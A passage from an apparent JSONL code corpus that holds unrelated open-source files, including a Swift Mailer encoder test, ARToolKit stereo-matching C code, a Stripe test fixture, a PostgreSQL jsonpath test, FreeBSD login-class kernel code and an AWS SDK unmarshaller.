(false !== $encodingDir = readdir($sampleFp)) {\n if ('.' == substr($encodingDir, 0, 1)) {\n continue;\n }\n\n $sampleDir = $this->samplesDir.'/'.$encodingDir;\n\n if (is_dir($sampleDir)) {\n $fileFp = opendir($sampleDir);\n while (false !== $sampleFile = readdir($fileFp)) {\n if ('.' == substr($sampleFile, 0, 1)) {\n continue;\n }\n\n $text = file_get_contents($sampleDir.'/'.$sampleFile);\n\n $os = new Swift_ByteStream_ArrayByteStream();\n $os->write($text);\n\n $is = new Swift_ByteStream_ArrayByteStream();\n\n $this->encoder->encodeByteStream($os, $is);\n\n $encoded = '';\n while (false !== $bytes = $is->read(8192)) {\n $encoded .= $bytes;\n }\n\n $this->assertEquals(\n base64_decode($encoded), $text,\n '%s: Encoded string should decode back to original string for sample '.\n $sampleDir.'/'.$sampleFile\n );\n }\n closedir($fileFp);\n }\n }\n closedir($sampleFp);\n }\n}\n"} -{"text": "/*\n * ar3DUtil.c\n * ARToolKit5\n *\n * This file is part of ARToolKit.\n *\n * ARToolKit is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * ARToolKit is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with ARToolKit. If not, see .\n *\n * As a special exception, the copyright holders of this library give you\n * permission to link this library with independent modules to produce an\n * executable, regardless of the license terms of these independent modules, and to\n * copy and distribute the resulting executable under terms of your choice,\n * provided that you also meet, for each linked independent module, the terms and\n * conditions of the license of that module. An independent module is a module\n * which is neither derived from nor based on this library. If you modify this\n * library, you may extend this exception to your version of the library, but you\n * are not obligated to do so. If you do not wish to do so, delete this exception\n * statement from your version.\n *\n * Copyright 2015 Daqri, LLC.\n * Copyright 2003-2015 ARToolworks, Inc.\n *\n * Author(s): Hirokazu Kato\n *\n */\n/*******************************************************\n *\n * Author: Hirokazu Kato\n *\n * kato@sys.im.hiroshima-cu.ac.jp\n *\n * Revision: 1.0\n * Date: 00/08/31\n *\n *******************************************************/\n\n#include \n#include \n#include \n#include \n\nARdouble arGetStereoMatchingErrorSquare( AR3DStereoHandle *handle,\n ARMarkerInfo *marker_infoL, ARMarkerInfo *marker_infoR )\n{\n ARdouble pos2dL[4][2], pos2dR[4][2];\n ARdouble err;\n int dir;\n\n dir = marker_infoL->dir;\n pos2dL[0][0] = marker_infoL->vertex[(4-dir)%4][0];\n pos2dL[0][1] = marker_infoL->vertex[(4-dir)%4][1];\n pos2dL[1][0] = marker_infoL->vertex[(5-dir)%4][0];\n pos2dL[1][1] = marker_infoL->vertex[(5-dir)%4][1];\n pos2dL[2][0] = marker_infoL->vertex[(6-dir)%4][0];\n pos2dL[2][1] = marker_infoL->vertex[(6-dir)%4][1];\n pos2dL[3][0] = marker_infoL->vertex[(7-dir)%4][0];\n pos2dL[3][1] = marker_infoL->vertex[(7-dir)%4][1];\n dir = marker_infoR->dir;\n pos2dR[0][0] = marker_infoR->vertex[(4-dir)%4][0];\n pos2dR[0][1] = marker_infoR->vertex[(4-dir)%4][1];\n pos2dR[1][0] = marker_infoR->vertex[(5-dir)%4][0];\n pos2dR[1][1] = marker_infoR->vertex[(5-dir)%4][1];\n pos2dR[2][0] = marker_infoR->vertex[(6-dir)%4][0];\n pos2dR[2][1] = marker_infoR->vertex[(6-dir)%4][1];\n pos2dR[3][0] = marker_infoR->vertex[(7-dir)%4][0];\n pos2dR[3][1] = marker_infoR->vertex[(7-dir)%4][1];\n\n err = 0.0;\n err += arGetStereoMatchingError(handle, pos2dL[0], pos2dR[0]);\n err += arGetStereoMatchingError(handle, pos2dL[1], pos2dR[1]);\n err += arGetStereoMatchingError(handle, pos2dL[2], pos2dR[2]);\n err += arGetStereoMatchingError(handle, pos2dL[3], pos2dR[3]);\n err /= 4.0;\n\n return err;\n}\n\nARdouble arGetStereoMatchingError( AR3DStereoHandle *handle, ARdouble pos2dL[2], ARdouble pos2dR[2] )\n{\n ARMat *cL, *cR, *cLi, *cRi;\n ARMat *tL, *tR, *tLi, *tRi;\n ARMat *w1, *w2, *w3;\n ARdouble q1, q2, q3, t1, t2, t3;\n ARdouble a1, b1, c1, a2, b2, c2;\n ARdouble lL2, lR2;\n int i, j;\n \n cL = arMatrixAlloc( 4, 4 );\n cR = arMatrixAlloc( 4, 4 );\n tL = arMatrixAlloc( 4, 4 );\n tR = arMatrixAlloc( 4, 4 );\n for( j = 0; j < 3; j++ ) {\n for( i = 0; i < 4; i++ ) {\n cL->m[j*4+i] = handle->icpStereoHandle->matXcl2Ul[j][i];\n }\n }\n cL->m[12] = cL->m[13] = cL->m[14] = 0.0; cL->m[15] = 1.0;\n for( j = 0; j < 3; j++ ) {\n for( i = 0; i < 4; i++ ) {\n cR->m[j*4+i] = handle->icpStereoHandle->matXcr2Ur[j][i];\n }\n }\n cR->m[12] = cR->m[13] = cR->m[14] = 0.0; cR->m[15] = 1.0;\n for( j = 0; j < 3; j++ ) {\n for( i = 0; i < 4; i++ ) {\n tL->m[j*4+i] = handle->icpStereoHandle->matC2L[j][i];\n }\n }\n tL->m[12] = tL->m[13] = tL->m[14] = 0.0; tL->m[15] = 1.0;\n for( j = 0; j < 3; j++ ) {\n for( i = 0; i < 4; i++ ) {\n tR->m[j*4+i] = handle->icpStereoHandle->matC2R[j][i];\n }\n }\n tR->m[12] = tR->m[13] = tR->m[14] = 0.0; tR->m[15] = 1.0;\n\n cLi = arMatrixAllocInv( cL );\n cRi = arMatrixAllocInv( cR );\n tLi = arMatrixAllocInv( tL );\n tRi = arMatrixAllocInv( tR );\n\n w1 = arMatrixAllocMul( cR, tR );\n w2 = arMatrixAllocMul( w1, tLi );\n w3 = arMatrixAllocMul( w2, cLi );\n q1 = w3->m[0*4+0]*pos2dL[0] + w3->m[0*4+1]*pos2dL[1] + w3->m[0*4+2];\n q2 = w3->m[1*4+0]*pos2dL[0] + w3->m[1*4+1]*pos2dL[1] + w3->m[1*4+2];\n q3 = w3->m[2*4+0]*pos2dL[0] + w3->m[2*4+1]*pos2dL[1] + w3->m[2*4+2];\n t1 = w3->m[0*4+3];\n t2 = w3->m[1*4+3];\n t3 = w3->m[2*4+3];\n a1 = q3*t2 - q2*t3;\n b1 = q1*t3 - q3*t1;\n c1 = q2*t1 - q1*t2;\n\n arMatrixMul( w1, cL, tL );\n arMatrixMul( w2, w1, tRi );\n arMatrixMul( w3, w2, cRi );\n q1 = w3->m[0*4+0]*pos2dR[0] + w3->m[0*4+1]*pos2dR[1] + w3->m[0*4+2];\n q2 = w3->m[1*4+0]*pos2dR[0] + w3->m[1*4+1]*pos2dR[1] + w3->m[1*4+2];\n q3 = w3->m[2*4+0]*pos2dR[0] + w3->m[2*4+1]*pos2dR[1] + w3->m[2*4+2];\n t1 = w3->m[0*4+3];\n t2 = w3->m[1*4+3];\n t3 = w3->m[2*4+3];\n a2 = q3*t2 - q2*t3;\n b2 = q1*t3 - q3*t1;\n c2 = q2*t1 - q1*t2;\n\n arMatrixFree( w3 );\n arMatrixFree( w2 );\n arMatrixFree( w1 );\n arMatrixFree( tL );\n arMatrixFree( tR );\n arMatrixFree( tLi );\n arMatrixFree( tRi );\n arMatrixFree( cR );\n arMatrixFree( cL );\n arMatrixFree( cRi );\n arMatrixFree( cLi );\n\n lL2 = (a1*pos2dR[0]+b1*pos2dR[1]+c1)*(a1*pos2dR[0]+b1*pos2dR[1]+c1) / (a1*a1+b1*b1);\n lR2 = (a2*pos2dL[0]+b2*pos2dL[1]+c2)*(a2*pos2dL[0]+b2*pos2dL[1]+c2) / (a2*a2+b2*b2);\n\n return (lL2 + lR2)/2.0;\n}\n\nint arGetStereoMatching(AR3DStereoHandle *handle, ARdouble pos2dL[2], ARdouble pos2dR[2], ARdouble pos3d[3])\n{\n ARMat *matP, *matQ;\n ARMat *matPt, *matR, *matS, *matT;\n ARdouble wL[3][4], wR[3][4];\n\n arUtilMatMul( (const ARdouble (*)[4])(handle->icpStereoHandle->matXcl2Ul), (const ARdouble (*)[4])(handle->icpStereoHandle->matC2L), wL );\n arUtilMatMul( (const ARdouble (*)[4])(handle->icpStereoHandle->matXcr2Ur), (const ARdouble (*)[4])(handle->icpStereoHandle->matC2R), wR );\n\n matP = arMatrixAlloc(4,3);\n matPt = arMatrixAlloc(3,4);\n matQ = arMatrixAlloc(4,1);\n matR = arMatrixAlloc(3,3);\n matS = arMatrixAlloc(3,1);\n matT = arMatrixAlloc(3,1);\n\n matP->m[0*3+0] = matPt->m[0*4+0] = wL[0][0] - wL[2][0] * pos2dL[0];\n matP->m[0*3+1] = matPt->m[1*4+0] = wL[0][1] - wL[2][1] * pos2dL[0];\n matP->m[0*3+2] = matPt->m[2*4+0] = wL[0][2] - wL[2][2] * pos2dL[0];\n matP->m[1*3+0] = matPt->m[0*4+1] = wL[1][0] - wL[2][0] * pos2dL[1];\n matP->m[1*3+1] = matPt->m[1*4+1] = wL[1][1] - wL[2][1] * pos2dL[1];\n matP->m[1*3+2] = matPt->m[2*4+1] = wL[1][2] - wL[2][2] * pos2dL[1];\n\n matP->m[2*3+0] = matPt->m[0*4+2] = wR[0][0] - wR[2][0] * pos2dR[0];\n matP->m[2*3+1] = matPt->m[1*4+2] = wR[0][1] - wR[2][1] * pos2dR[0];\n matP->m[2*3+2] = matPt->m[2*4+2] = wR[0][2] - wR[2][2] * pos2dR[0];\n matP->m[3*3+0] = matPt->m[0*4+3] = wR[1][0] - wR[2][0] * pos2dR[1];\n matP->m[3*3+1] = matPt->m[1*4+3] = wR[1][1] - wR[2][1] * pos2dR[1];\n matP->m[3*3+2] = matPt->m[2*4+3] = wR[1][2] - wR[2][2] * pos2dR[1];\n \n matQ->m[0] = wL[2][3] * pos2dL[0] - wL[0][3];\n matQ->m[1] = wL[2][3] * pos2dL[1] - wL[1][3];\n matQ->m[2] = wR[2][3] * pos2dR[0] - wR[0][3];\n matQ->m[3] = wR[2][3] * pos2dR[1] - wR[1][3];\n\n arMatrixMul( matR, matPt, matP );\n arMatrixMul( matS, matPt, matQ );\n if( arMatrixSelfInv( matR ) < 0 ) {\n arMatrixFree( matP );\n arMatrixFree( matPt);\n arMatrixFree( matQ );\n arMatrixFree( matR );\n arMatrixFree( matS );\n arMatrixFree( matT );\n return -1;\n }\n arMatrixMul( matT, matR, matS );\n\n pos3d[0] = matT->m[0];\n pos3d[1] = matT->m[1];\n pos3d[2] = matT->m[2];\n \n arMatrixFree( matP );\n arMatrixFree( matPt);\n arMatrixFree( matQ );\n arMatrixFree( matR );\n arMatrixFree( matS );\n arMatrixFree( matT );\n \n return 0;\n}\n"} -{"text": "{\n \"id\": \"card_fakefakefakefakefake0001\",\n \"object\": \"payment_method\",\n \"billing_details\": {\n \"address\": {\n \"city\": null,\n \"country\": null,\n \"line1\": null,\n \"line2\": null,\n \"postal_code\": null,\n \"state\": null\n },\n \"email\": null,\n \"name\": \"alex-nesnes@hotmail.fr\",\n \"phone\": null\n },\n \"card\": {\n \"brand\": \"visa\",\n \"checks\": {\n \"address_line1_check\": null,\n \"address_postal_code_check\": null,\n \"cvc_check\": null\n },\n \"country\": \"US\",\n \"exp_month\": 6,\n \"exp_year\": 2021,\n \"fingerprint\": \"88PuXw9tEmvYe69o\",\n \"funding\": \"credit\",\n \"generated_from\": null,\n \"last4\": \"4242\",\n \"networks\": {\n \"available\": [\n \"visa\"\n ],\n \"preferred\": null\n },\n \"three_d_secure_usage\": {\n \"supported\": true\n },\n \"wallet\": null\n },\n \"created\": 1567571746,\n \"customer\": \"cus_6lsBvm5rJ0zyHc\",\n \"livemode\": false,\n \"metadata\": {\n \"djstripe_test_fake_id\": \"card_fakefakefakefakefake0001\"\n },\n \"type\": \"card\"\n}"} -{"text": "CREATE TABLE fruits (\n id int,\n items jsonb\n);\nINSERT INTO fruits VALUES (1, '{\"apple\": 100}');\nINSERT INTO fruits VALUES (2, '{\"banana\": 30}');\nINSERT INTO fruits VALUES (3, '{\"peach\": 150}');\nSET enable_seqscan = on;\nSET enable_indexscan = off;\nSET enable_bitmapscan = off;\nSELECT id, items\n FROM fruits\n WHERE items @@ 'type == \"number\" && number <= 100'\n ORDER BY id;\n id | items \n----+----------------\n 1 | {\"apple\": 100}\n 2 | {\"banana\": 30}\n(2 rows)\n\nDROP TABLE fruits;\n"} -{"text": "/**\n Copyright (c) 2014-present, Facebook, Inc.\n All rights reserved.\n \n This source code is licensed under the BSD-style license found in the\n LICENSE file in the root directory of this source tree. An additional grant\n of patent rights can be found in the PATENTS file in the same directory.\n */\n\n#import \n\n#import \n#import \n\n@class CAMediaTimingFunction;\n\n/**\n @abstract The abstract animation base class.\n @discussion Instantiate and use one of the concrete animation subclasses.\n */\n@interface POPAnimation : NSObject\n\n/**\n @abstract The name of the animation.\n @discussion Optional property to help identify the animation.\n */\n@property (copy, nonatomic) NSString *name;\n\n/**\n @abstract The beginTime of the animation in media time.\n @discussion Defaults to 0 and starts immediately.\n */\n@property (assign, nonatomic) CFTimeInterval beginTime;\n\n/**\n @abstract The animation delegate.\n @discussion See {@ref POPAnimationDelegate} for details.\n */\n@property (weak, nonatomic) id delegate;\n\n/**\n @abstract The animation tracer.\n @discussion Returns the existing tracer, creating one if needed. Call start/stop on the tracer to toggle event collection.\n */\n@property (readonly, nonatomic) POPAnimationTracer *tracer;\n\n/**\n @abstract Optional block called on animation completion.\n */\n@property (copy, nonatomic) void (^completionBlock)(POPAnimation *anim, BOOL finished);\n\n/**\n @abstract Flag indicating whether animation should be removed on completion.\n @discussion Setting to NO can facilitate animation reuse. Defaults to YES.\n */\n@property (assign, nonatomic) BOOL removedOnCompletion;\n\n/**\n @abstract Flag indicating whether animation is paused.\n @discussion A paused animation is excluded from the list of active animations. On initial creation, defaults to YES. On animation addition, the animation is implicity unpaused. On animation completion, the animation is implicity paused including for animations with removedOnCompletion set to NO.\n */\n@property (assign, nonatomic, getter = isPaused) BOOL paused;\n\n@end\n\n/**\n @abstract The animation delegate.\n */\n@protocol POPAnimationDelegate \n@optional\n\n/**\n @abstract Called on animation start.\n @param anim The relevant animation.\n */\n- (void)pop_animationDidStart:(POPAnimation *)anim;\n\n/**\n @abstract Called when value meets or exceeds to value.\n @param anim The relevant animation.\n */\n- (void)pop_animationDidReachToValue:(POPAnimation *)anim;\n\n/**\n @abstract Called on animation stop.\n @param anim The relevant animation.\n @param finished Flag indicating finished state. Flag is true if the animation reached completion before being removed.\n */\n- (void)pop_animationDidStop:(POPAnimation *)anim finished:(BOOL)finished;\n\n/**\n @abstract Called each frame animation is applied.\n @param anim The relevant animation.\n */\n- (void)pop_animationDidApply:(POPAnimation *)anim;\n\n@end\n\n\n@interface NSObject (POP)\n\n/**\n @abstract Add an animation to the reciver.\n @param anim The animation to add.\n @param key The key used to identify the animation.\n @discussion The 'key' may be any string such that only one animation per unique key is added per object.\n */\n- (void)pop_addAnimation:(POPAnimation *)anim forKey:(NSString *)key;\n\n/**\n @abstract Remove all animations attached to the receiver.\n */\n- (void)pop_removeAllAnimations;\n\n/**\n @abstract Remove any animation attached to the receiver for 'key'.\n @param key The key used to identify the animation.\n */\n- (void)pop_removeAnimationForKey:(NSString *)key;\n\n/**\n @abstract Returns an array containing the keys of all animations currently attached to the receiver.\n @param The order of keys reflects the order in which animations will be applied.\n */\n- (NSArray *)pop_animationKeys;\n\n/**\n @abstract Returns any animation attached to the receiver.\n @param key The key used to identify the animation.\n @returns The animation currently attached, or nil if no such animation exists.\n */\n- (id)pop_animationForKey:(NSString *)key;\n\n@end\n"} -{"text": "/*-\n * Copyright (c) 2011 The FreeBSD Foundation\n * All rights reserved.\n *\n * This software was developed by Edward Tomasz Napierala under sponsorship\n * from the FreeBSD Foundation.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD: release/9.1.0/sys/kern/kern_loginclass.c 225617 2011-09-16 13:58:51Z kmacy $\n */\n\n/*\n * Processes may set login class name using setloginclass(2). This\n * is usually done through call to setusercontext(3), by programs\n * such as login(1), based on information from master.passwd(5). Kernel\n * uses this information to enforce per-class resource limits. Current\n * login class can be determined using id(1). Login class is inherited\n * from the parent process during fork(2). If not set, it defaults\n * to \"default\".\n *\n * Code in this file implements setloginclass(2) and getloginclass(2)\n * system calls, and maintains class name storage and retrieval.\n */\n\n#include \n__FBSDID(\"$FreeBSD: release/9.1.0/sys/kern/kern_loginclass.c 225617 2011-09-16 13:58:51Z kmacy $\");\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nstatic MALLOC_DEFINE(M_LOGINCLASS, \"loginclass\", \"loginclass structures\");\n\nLIST_HEAD(, loginclass)\tloginclasses;\n\n/*\n * Lock protecting loginclasses list.\n */\nstatic struct mtx loginclasses_lock;\n\nstatic void lc_init(void);\nSYSINIT(loginclass, SI_SUB_CPU, SI_ORDER_FIRST, lc_init, NULL);\n\nvoid\nloginclass_hold(struct loginclass *lc)\n{\n\n\trefcount_acquire(&lc->lc_refcount);\n}\n\nvoid\nloginclass_free(struct loginclass *lc)\n{\n\tint old;\n\n\told = lc->lc_refcount;\n\tif (old > 1 && atomic_cmpset_int(&lc->lc_refcount, old, old - 1))\n\t\treturn;\n\n\tmtx_lock(&loginclasses_lock);\n\tif (refcount_release(&lc->lc_refcount)) {\n\t\tracct_destroy(&lc->lc_racct);\n\t\tLIST_REMOVE(lc, lc_next);\n\t\tmtx_unlock(&loginclasses_lock);\n\t\tfree(lc, M_LOGINCLASS);\n\n\t\treturn;\n\t}\n\tmtx_unlock(&loginclasses_lock);\n}\n\n/*\n * Return loginclass structure with a corresponding name. Not\n * performance critical, as it's used mainly by setloginclass(2),\n * which happens once per login session. Caller has to use\n * loginclass_free() on the returned value when it's no longer\n * needed.\n */\nstruct loginclass *\nloginclass_find(const char *name)\n{\n\tstruct loginclass *lc, *newlc;\n\n\tif (name[0] == '\\0' || strlen(name) >= MAXLOGNAME)\n\t\treturn (NULL);\n\n\tnewlc = malloc(sizeof(*newlc), M_LOGINCLASS, M_ZERO | M_WAITOK);\n\tracct_create(&newlc->lc_racct);\n\n\tmtx_lock(&loginclasses_lock);\n\tLIST_FOREACH(lc, &loginclasses, lc_next) {\n\t\tif (strcmp(name, lc->lc_name) != 0)\n\t\t\tcontinue;\n\n\t\t/* Found loginclass with a matching name? */\n\t\tloginclass_hold(lc);\n\t\tmtx_unlock(&loginclasses_lock);\n\t\tracct_destroy(&newlc->lc_racct);\n\t\tfree(newlc, M_LOGINCLASS);\n\t\treturn (lc);\n\t}\n\n\t/* Add new loginclass. */\n\tstrcpy(newlc->lc_name, name);\n\trefcount_init(&newlc->lc_refcount, 1);\n\tLIST_INSERT_HEAD(&loginclasses, newlc, lc_next);\n\tmtx_unlock(&loginclasses_lock);\n\n\treturn (newlc);\n}\n\n/*\n * Get login class name.\n */\n#ifndef _SYS_SYSPROTO_H_\nstruct getloginclass_args {\n\tchar\t*namebuf;\n\tsize_t\tnamelen;\n};\n#endif\n/* ARGSUSED */\nint\nsys_getloginclass(struct thread *td, struct getloginclass_args *uap)\n{\n\tint error = 0;\n\tsize_t lcnamelen;\n\tstruct proc *p;\n\tstruct loginclass *lc;\n\n\tp = td->td_proc;\n\tPROC_LOCK(p);\n\tlc = p->p_ucred->cr_loginclass;\n\tloginclass_hold(lc);\n\tPROC_UNLOCK(p);\n\n\tlcnamelen = strlen(lc->lc_name) + 1;\n\tif (lcnamelen > uap->namelen)\n\t\terror = ERANGE;\n\tif (error == 0)\n\t\terror = copyout(lc->lc_name, uap->namebuf, lcnamelen);\n\tloginclass_free(lc);\n\treturn (error);\n}\n\n/*\n * Set login class name.\n */\n#ifndef _SYS_SYSPROTO_H_\nstruct setloginclass_args {\n\tconst char\t*namebuf;\n};\n#endif\n/* ARGSUSED */\nint\nsys_setloginclass(struct thread *td, struct setloginclass_args *uap)\n{\n\tstruct proc *p = td->td_proc;\n\tint error;\n\tchar lcname[MAXLOGNAME];\n\tstruct loginclass *newlc;\n\tstruct ucred *newcred, *oldcred;\n\n\terror = priv_check(td, PRIV_PROC_SETLOGINCLASS);\n\tif (error != 0)\n\t\treturn (error);\n\terror = copyinstr(uap->namebuf, lcname, sizeof(lcname), NULL);\n\tif (error != 0)\n\t\treturn (error);\n\n\tnewlc = loginclass_find(lcname);\n\tif (newlc == NULL)\n\t\treturn (EINVAL);\n\tnewcred = crget();\n\n\tPROC_LOCK(p);\n\toldcred = crcopysafe(p, newcred);\n\tnewcred->cr_loginclass = newlc;\n\tp->p_ucred = newcred;\n\tPROC_UNLOCK(p);\n#ifdef RACCT\n\tracct_proc_ucred_changed(p, oldcred, newcred);\n#endif\n\tloginclass_free(oldcred->cr_loginclass);\n\tcrfree(oldcred);\n\n\treturn (0);\n}\n\nvoid\nloginclass_racct_foreach(void (*callback)(struct racct *racct,\n void *arg2, void *arg3), void *arg2, void *arg3)\n{\n\tstruct loginclass *lc;\n\n\tmtx_lock(&loginclasses_lock);\n\tLIST_FOREACH(lc, &loginclasses, lc_next)\n\t\t(callback)(lc->lc_racct, arg2, arg3);\n\tmtx_unlock(&loginclasses_lock);\n}\n\nstatic void\nlc_init(void)\n{\n\n\tmtx_init(&loginclasses_lock, \"loginclasses lock\", NULL, MTX_DEF);\n}\n"} -{"text": "/* 8bits theme v1.1.0 by Jorge Matricali, https://github.com/matricali/mit-license-8bits-theme */\n/* MIT License https://jorge-matricali.mit-license.org/ */\n@import url('https://fonts.googleapis.com/css?family=PT+Mono|VT323');\n\nbody {\n font-family: 'PT Mono', monospace;\n padding: .4em;\n font-size: 1.1em;\n background: #00f;\n color: #fff;\n}\n\na:link,\na:visited {\n text-decoration: none;\n color: #fff;\n}\n\narticle {\n display: block;\n margin: 1em;\n position: relative;\n max-width: 800px;\n margin: 10px auto 0;\n}\n\narticle h1 {\n color: #fff;\n width: 100%;\n margin: 0 auto;\n padding-top: 1.5em;\n font-size: 3em;\n}\n\narticle h1,\narticle h1+p {\n font-family: 'VT323', monospace;\n padding-left: 6%;\n}\n\narticle h1+p {\n margin-top: 0;\n margin-bottom: 3em;\n}\n\narticle h1+p a:link,\narticle h1+p a:visited {\n color: #fff;\n}\n\narticle p {\n padding: 0 2em;\n text-align: justify;\n}\n\narticle p:last-child {\n padding-bottom: 1.8em;\n font-size: 0.9em;\n}\n\nfooter {\n margin: 0 auto;\n font-size: .8em;\n text-align: center;\n}\n\n#gravatar {\n display: block;\n float: right;\n}\n\n@media (min-width: 750px) {\n #gravatar {\n position: absolute;\n top: 4em;\n right: 3em;\n }\n\n #gravatar+h1+p+p {\n padding-top: 2em;\n }\n\n h1+p {\n padding-right: 6em;\n }\n\n h1+p+p {\n padding-top: 0.8em;\n }\n}\n\n@media (max-width: 750px) {\n body {\n font-size: 14px;\n }\n\n #gravatar {\n position: relative;\n top: 4em;\n right: 2em;\n }\n\n article h1+p {\n padding-bottom: 1em;\n }\n\n article h1+p+p {\n padding-top: 0.8em;\n }\n\n footer {\n padding-bottom: 4em;\n }\n}\n\nimg {\n filter: contrast(700%) invert(100%) brightness(80%) sepia(100%) saturate(5) invert(100%);\n}\n"} -{"text": "from .service import GoogleAnalytics\n\n"} -{"text": "# -*- mode: snippet -*-\n# name: quote\n# key: q\n# --\n#+begin_quote\n$0\n#+end_quote"} -{"text": "/*\n * Copyright 2015-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use this file except in compliance with\n * the License. A copy of the License is located at\n * \n * http://aws.amazon.com/apache2.0\n * \n * or in the \"license\" file accompanying this file. This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions\n * and limitations under the License.\n */\npackage com.amazonaws.services.rds.model.transform;\n\nimport java.util.ArrayList;\n\nimport javax.xml.stream.events.XMLEvent;\nimport javax.annotation.Generated;\n\nimport com.amazonaws.services.rds.model.*;\nimport com.amazonaws.transform.Unmarshaller;\n\nimport com.amazonaws.transform.StaxUnmarshallerContext;\nimport com.amazonaws.transform.SimpleTypeStaxUnmarshallers.*;\n\n/**\n * CreateDBClusterEndpointResult StAX Unmarshaller\n */\n\n@Generated(\"com.amazonaws:aws-java-sdk-code-generator\")\npublic class CreateDBClusterEndpointResultStaxUnmarshaller implements Unmarshaller {\n\n public CreateDBClusterEndpointResult unmarshall(StaxUnmarshallerContext context) throws Exception {\n CreateDBClusterEndpointResult createDBClusterEndpointResult = new CreateDBClusterEndpointResult();\n int originalDepth = context.getCurrentDepth();\n int targetDepth = originalDepth + 1;\n\n if (context.isStartOfDocument())\n targetDepth += 2;\n\n while (true) {\n XMLEvent xmlEvent = context.nextEvent();\n if (xmlEvent.isEndDocument())\n return createDBClusterEndpointResult;\n\n if (xmlEvent.isAttribute() || xmlEvent.isStartElement()) {\n\n if (context.testExpression(\"DBClusterEndpointIdentifier\", targetDepth)) {\n createDBClusterEndpointResult.setDBClusterEndpointIdentifier(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"DBClusterIdentifier\", targetDepth)) {\n createDBClusterEndpointResult.setDBClusterIdentifier(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"DBClusterEndpointResourceIdentifier\", targetDepth)) {\n createDBClusterEndpointResult.setDBClusterEndpointResourceIdentifier(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"Endpoint\", targetDepth)) {\n createDBClusterEndpointResult.setEndpoint(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"Status\", targetDepth)) {\n createDBClusterEndpointResult.setStatus(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"EndpointType\", targetDepth)) {\n createDBClusterEndpointResult.setEndpointType(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"CustomEndpointType\", targetDepth)) {\n createDBClusterEndpointResult.setCustomEndpointType(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"StaticMembers\", targetDepth)) {\n createDBClusterEndpointResult.withStaticMembers(new ArrayList());\n continue;\n }\n\n if (context.testExpression(\"StaticMembers/member\", targetDepth)) {\n createDBClusterEndpointResult.withStaticMembers(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"ExcludedMembers\", targetDepth)) {\n createDBClusterEndpointResult.withExcludedMembers(new ArrayList());\n continue;\n }\n\n if (context.testExpression(\"ExcludedMembers/member\", targetDepth)) {\n createDBClusterEndpointResult.withExcludedMembers(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n\n if (context.testExpression(\"DBClusterEndpointArn\", targetDepth)) {\n createDBClusterEndpointResult.setDBClusterEndpointArn(StringStaxUnmarshaller.getInstance().unmarshall(context));\n continue;\n }\n } else if (xmlEvent.isEndElement()) {\n if (context.getCurrentDepth() < originalDepth) {\n return createDBClusterEndpointResult;\n }\n }\n }\n }\n\n private static CreateDBClusterEndpointResultStaxUnmarshaller instance;\n\n public static CreateDBClusterEndpointResultStaxUnmarshaller getInstance() {\n if (instance == null)\n instance = new CreateDBClusterEndpointResultStaxUnmarshaller();\n return instance;\n }\n}\n"} -{"text": "/*\n** Copyright (C) University of Virginia, Massachusetts Institue of Technology 1994-2003.\n** See ../LICENSE for license information.\n**\n*/\n/*\n** cscanner.h\n*/\n\n/*@-declundef@*/ /* Don't always check cscanner.c */\nextern void cscanner_swallowMacro (void) /*@modifies internalState, fileSystem@*/ ;\n\nextern int cscanner_input (void) /*@modifies internalState, fileSystem@*/ ;\nextern void cscanner_unput (int) /*@modifies internalState, fileSystem@*/ ;\n\nextern int cscanner_returnFloat (ctype p_ct, double p_f) /*@modifies internalState@*/ ;\nextern int cscanner_returnInt (ctype p_ct, long p_i) /*@modifies internalState@*/ ;\nextern int cscanner_returnChar (char p_c) /*@modifies internalState@*/ ;\n\n/*\n** These are all exported by bison, but not declared:\n*/\n\n/*@-namechecks@*/\ntypedef struct 